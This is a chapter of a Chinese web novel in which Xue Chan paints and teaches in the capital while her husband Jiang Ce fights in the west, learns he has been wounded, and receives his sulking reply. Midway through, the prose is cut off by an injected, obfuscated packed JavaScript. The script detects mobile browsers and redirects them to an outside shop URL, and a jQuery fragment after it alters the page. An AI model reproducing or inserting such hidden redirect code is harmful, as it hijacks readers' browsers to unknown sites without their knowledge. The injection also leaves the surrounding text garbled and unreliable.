107.心复心
作品:《且团圆》 “天热,吃碗莲子汤润润吧。”
薛婵搁下笔,接过云生递来的汤碗。她吃了两口,从窗子里望出去。
蔷薇开尽春已去。
粗粗算来,自江策离京已有三个多月。
“都已经夏天了。”
云生应她:“是啊,可真快。”
薛婵侧首,博古架上有个专门的格子是用来呈江策寄来的书信。
三个月,那格子已经塞不下了。
她叹了口气,也不知道他一天天的哪有那么多闲心写信,洋洋洒洒几张纸。
信里不是每次都有写什么的,很多时候只夹着些乱七八糟的玩意儿。
薛婵想了想,又提笔准备给江策写回信。写了两句,她也不知道写什么。
写得太少,江策肯定抱怨,回头又是几张看得头疼的信。
她撤下手,又哒哒哒飞快地敲在案上。
云生还在理她的画,笑道:“若是不知道写些什么,那不如画几幅画吧。”
“这主意不错。”
薛婵从窗外看出去,喜团在木架上懒懒睡着。经过暮春的雨洗濯,蕉叶在墙上投下大片青荫将渐起的暑气消解了一大半。年年在芭蕉底下一边乘凉,一边嚼草。
原本攀满墙的绯粉蔷薇,也都谢得只余残花在风中颤颤。
她立刻提笔,将此情此景绘于纸上随后封入信中。
“姑娘看看,要卖的是不是这些?可还有需要留的?”云生抱着多卷画到薛婵面前。
薛婵都看了看,挑出来几幅:“这些不卖。”
其实时近两年来她做了不少画,有一半都卖出去了。江策在的时候经常乱跑,席宴、集会一顿夸,愣是把她的名声传得远远的。
求画的人渐渐多了起来,光卖画都卖了不少钱。之前江策还在凝翠楼狠狠敲了她一笔,那时点菜点得可豪气了。
“都要都要”
不过后来也都从其他地方补回她手里就是了。
因着来往交际,也送出去很多画。
有的画送到宫里很长一段时间都没送回来,等再送回来的时候,上头有了画诗。
是皇帝与几个大臣做的。
这些画卖不得,至少很长一段时间都卖不得。
薛婵连叹了好多天,只希望在自己死前卖出去。
薛婵极擅花草虫蝶,近两年来又大大精进,已少有能及者。
常有慕名拜访的。
只是有一日薛婵和郑檀到郑府去,正巧见郑家大郎的姑娘在花园里作画。薛婵点拨,过了一段时间郑檀还和她说:“我大嫂说阿媛说近来颇有进益,说是谢你,还要请你这位老师多指点几次呢。”
薛婵笑了笑:“不过是一时兴起,哪里就称得上老师了。”
谁知郑檀眼一转:“其实各家也有请满名的女子登门授课的,寿春王的王妃、包括二婶婶也曾受邀教授过诗词音律。你为什么不试试呢?”
那时薛婵也犹豫了一下,只是自己只正式教过裴静兰。
郑檀见她有所松动,便又进一步道:“我回头和祖母商量商量,替你牵线搭桥,你就负责上课就好。”
思虑之下,薛婵应下了。
京中各家倒是挺推崇这事的,也都低了拜帖,将孩子送来学画已结好。
不过薛婵事情很多,精力有限,水平不足以教授太多人。故而只挑了几家交好的,每月两次,于武安侯府的藕花榭授课。
这事雅事,也颇得雅名。皇帝与贵妃商量过,请她进宫为年纪尚幼的皇子公主们授过课。
齐老太太年纪上来了,家里的孩子们一半不在家。她三次里有两次都会到藕花榭去,戴着一副叆叇看一堆孩子们作画。
薛婵的日子就这样一日复一日过着,可是仗还是没有打完。
西戎养精蓄锐十余年,来势汹汹。仗打了大半年了,一直胶着,尚未有过一场大胜仗。
江策的信里都是说说笑笑,要么就是抱怨她写信写得少。
除了宫里,江籍那,她对他的具体情况实在是知道的太少了。
不知是疲惫还是隐忧,薛婵觉得自己近来画技越发艰涩。
常有画不出满意的时候。
她觉得是自己疏于练习,便白日授课,傍晚作画。
只是画得越多,却越来越难以下笔。涂涂改改,废了很多张纸。
薛婵握着笔,觉得自己就像一泊只出不进的水,快要枯竭了。
这是她这么多年以来,头一次感到莫大的惶恐。
只是薛婵从不是坐以待毙的人。
她当即放下笔:“云生,收拾东西,咱们到渭水别院小住一段时日。”
渭水的爱园是薛贵妃赠给她的嫁妆,彼邻芳芦山。说起来,和裕琅的青荫台倒是挺近的。
马车半日可至来回。
在爱园住着的时日里,除了每半月一次的授课,她不再接受拜会。除了郑檀和裴静兰每隔一段时日来,便只有程怀珠来陪她。
爱园依山带水,很适合她静心在山中走走看看,观察写生。
离了京,只有程怀珠经常来陪她小住。
自从萧阳君远嫁,方有希离京,程怀珠就自己写写物志。两人常结伴在山中走,她写物质,薛婵画小图配之。
两人凑在一起玩笑:“咱俩干脆出书得了。”
她们待在一处,同吃同睡,好像又回到了在闺阁中一起的日子。
晴风雨月,牵手同游。
暑夏一过,便转至新秋。
薛婵数了数自到渭水来的这段时日,江策寄来的信只有九封。
她惴惴不安,可是武安侯府没有任何人给她传过任何消息。
一切都那样,平静如常。
薛婵把手盖在那一叠信上,冷冷的纸页渐渐被她手心的温度暖起来。
新秋一过便至白露,薛婵要进宫陪薛贵妃。可她出门之时廊下的花盆被风吹倒在地,碎片四溅。
她小心翼翼拨开土,叹气:“可惜了”
云生道:“没事,只是花盆碎了,换了新盆栽起来就好。”
薛婵点点头,起身出门准备入宫。
这日天气不好,才刚到福宁殿就下了场大雨。
文医正依例来为薛贵妃请脉,薛婵坐在一旁,听两人说话。
“如何?”
“娘娘放心,一切安好,只待过两个月临产就好。只是娘娘如今月份大了,可以在殿内或者院中多走走,以便更好生产。”
薛贵妃点点头:“多谢”
“这本是下官之责,娘娘言重了。”文医正收起药箱,笑了笑。
“今日的脉已诊,下官便先回太医署了。”
薛贵妃点点头,让人送她出殿。
薛婵进宫看过薛贵妃三次。她的月份一天天大起来,将衣裙也都撑起来。
薛婵坐在一旁,轻轻叹了口气。
薛贵妃摸了摸她的鬓:“叹什么气呀?是想他了吗?”
薛婵抬起来脸,对上她盈盈温柔的笑意,又落在她鼓起来的腹上。
她想起她娘来,有些害怕。于是小心避开肚子,埋进薛贵妃怀里。
“...嗯”
外头的雨下到傍晚停了,薛婵陪着薛贵妃在殿内殿外散步。
内监告唤,皇帝来了。
薛婵见皇帝一脸疲惫,走近薛贵妃时又柔笑起来。
她悄悄退到远处去,看着皇帝扶着薛贵妃看着抚上那个尚未出生的孩子,温柔缱绻,满是期待。
薛贵妃的两个孩子,一个夭折,一个还未来到世间便已离去。
这是横隔在帝妃二人心中痛,而新的生命又将两人拉近了些。
皇帝扶着薛贵妃进殿。
薛婵抿了抿唇,抬眼却看见殿外的汪叙依旧平静。他身边的小内监却有些心事重重。
她向小内监轻声,“安公公,我看宫内近来肃穆得厉害,可是战况..”
小安被她问,却支支吾吾不太敢回。
汪叙走过来,温笑道:“薛娘子怎么了?”
薛婵不欲拐弯抹角,直接问他:“汪公公,是不是出事了?”
汪叙轻叹,走近了些:“咱们败了一仗。”
“什么?”薛婵惊愕,却又想问江策,“那我--”
汪叙凝声,似是有些不忍:“小将军他....负了些伤。”
薛婵得心重重沉下去,尽量平静下来:“可否能告知我..伤情?”
他轻皱眉,没有回。
薛婵低下了头:“多谢您告诉我这些。”
汪叙也叹了口气:“不是奴婢不愿告诉娘子,只是近来事情实在太多了,陛下也是日夜操劳啊。”
“不过-”他话锋一转,有了些笑意,“至少没有性命之忧的。”
薛婵稍稍送了些,笑了笑。
汪叙又道:“只是娘娘产期将至,您可不要将这些事告知贵妃呀。”
薛婵点头:“您放心吧,我知轻重的。”
她吐出气,想着干脆到外头走走。从宫道出,往福宁殿后走便是水榭。
薛婵趴美人靠边看池水里的红鱼。
看了不知多久,天一点点暗下来。
“你怎么坐在这儿?”
薛婵回头,裕琅还没等她行礼就径直坐在身边了。
“陛下在,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859425|176526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来走走。”
裕琅展臂背靠栏。
两人就坐着,也没说什么话。
过了一会儿,薛婵听见她大大叹了口气。
“唉,其实我还挺担心他们的。江泊舟年纪轻轻的,还有三舅舅.....”她顿了一下,又继续,“还有又玉,他本来就是遗孤了,年纪比江策还小呢,甚至是我们这里头最小的。”
薛婵低下头,轻轻“嗯”了一声。
裕琅见她这反应,微微赌气:“你这个人有心没有啊,平静得一点反应都没有。”
薛婵却道:“离得这样远,我又能做什么呢?无非只有担心罢了,可hi担心又有何用呢?”
“,,”裕琅被她这话噎得一口气上不来,“我有时候真觉得,你无情得一点都不像人。”
薛婵轻声:“我当然是人,当然也有感情。”
平平淡淡,没有起伏。
裕琅咽回想说她得话,只叹了口气:“不过也好,你还这样年轻。就算..”
她没说完,难受得站了起来。
“殿下这就走了?”
“淑妃薨逝,小五正伤心着,我去陪陪她。”
“走了”
“我……”
裕琅下石阶,听见有有轻轻的说话声。
她顿步回头,那声音只是还未抓着就先被风吹散在夜暮里,什么都没有了。
薛婵还是坐在那里,宫灯照在薛婵脸上看不出情绪。
宫灯随风一起晃动,于是她那张略有苍白的脸上忽明忽暗,融在在昏黄浓蓝的暮色里,愈发模糊不清。
裕琅再一次叹气,离开了水榭。
她走后不久,薛婵也出宫了。
马车停在武安侯府,薛婵却见齐老太太身边的绿盈在门口等候。
她警觉起来,什么话都没说,跟着绿盈去了颐安堂。
齐老太太和江籍在等她。
薛婵一下子吊起心,压了压颤抖的音“他是不是...”
齐老太太握紧拐杖,江籍:“泊舟没有性命之忧,只是受了些伤......”
“只是?”薛婵捏着信,有些哽咽,“伤及何处,轻重深浅,一个字都没写吗?”
江籍叹了口气,道:“泊舟托人带信,说没有缺胳膊少腿。”
薛婵顿时松了口气,有些哭笑不得。
江籍笑了笑,把信递给她:“你还是给他写封回信吧,不然他又要念叨了。”
薛婵点点头,向二人告了一声便立刻回去写信。
那封信寄出去的时候,蔷薇藤上的叶子才青绿转黄。黄意一点点食去翠绿,叶子坠落下去。
金黄带墨的宽叶落在江策手中。
他才换了药,一首拿信,一手拿镜子照脸颊旁的那道伤。
“啧”江策皱眉,低声愤愤道:“这西戎人怎么就那样没礼啊,净往人脸上招呼。瞧把我这张金贵的脸划成什么样子了!”
他把镜子翻手一扣,痛心疾首:“如今真是完璧有暇了啊!薛婵指不定怎么嫌弃呢。”
又玉端着水进帐,一脸嫌弃。他在帐外就听见江策一个人哼哼唧唧,叽叽咕咕的。
“行了,你怎么这么碎嘴呢?拆你的信吧!”
江策没回头,一本书甩过来:“知不知道长幼有序呢,叫哥!”
“.....”又玉放下水盆,受了那些药,懒得理他。
江策乖巧坐下来,净了手,喜滋滋拆薛婵的信。
他慢慢拆开,打开信纸,只两眼就扫完了上头的内容。
“难道我拆漏了?”
江策把一整个信封翻了又翻,问又玉:“你确定就一封信?”
又玉:“就一封,没别的。”
江策捏着信,咬牙切齿。
“啊啊啊啊啊啊!我都受伤了,她居然只写了这么几行字来!这心里根本就没有我!”
又玉叹了口气,背过身。
情爱真是使人面目全非。
江策叉腰:“我要写信骂她!”
又玉翻书的手顿了顿,转过身一张脸五颜六色。他看着江策拿着笔在纸上狂舞龙蛇,半天才吐出句。
“真是疯了。”
薛婵把新开的梅花时,江策的信送了进来。
她看着那厚厚的信封,不知该作何反应。
等到一拆封,里头塞得满满的信纸瞬间冲了出来。
薛婵把那叠厚厚的纸捡起来数了数,居然有五张,却写得都是一样的内容。
“坏女人坏女人坏女人坏女人女人坏女人坏女人坏女人坏女人女人坏女人坏女人坏女人坏女人女人坏女人坏女人坏女人坏女人女人……”

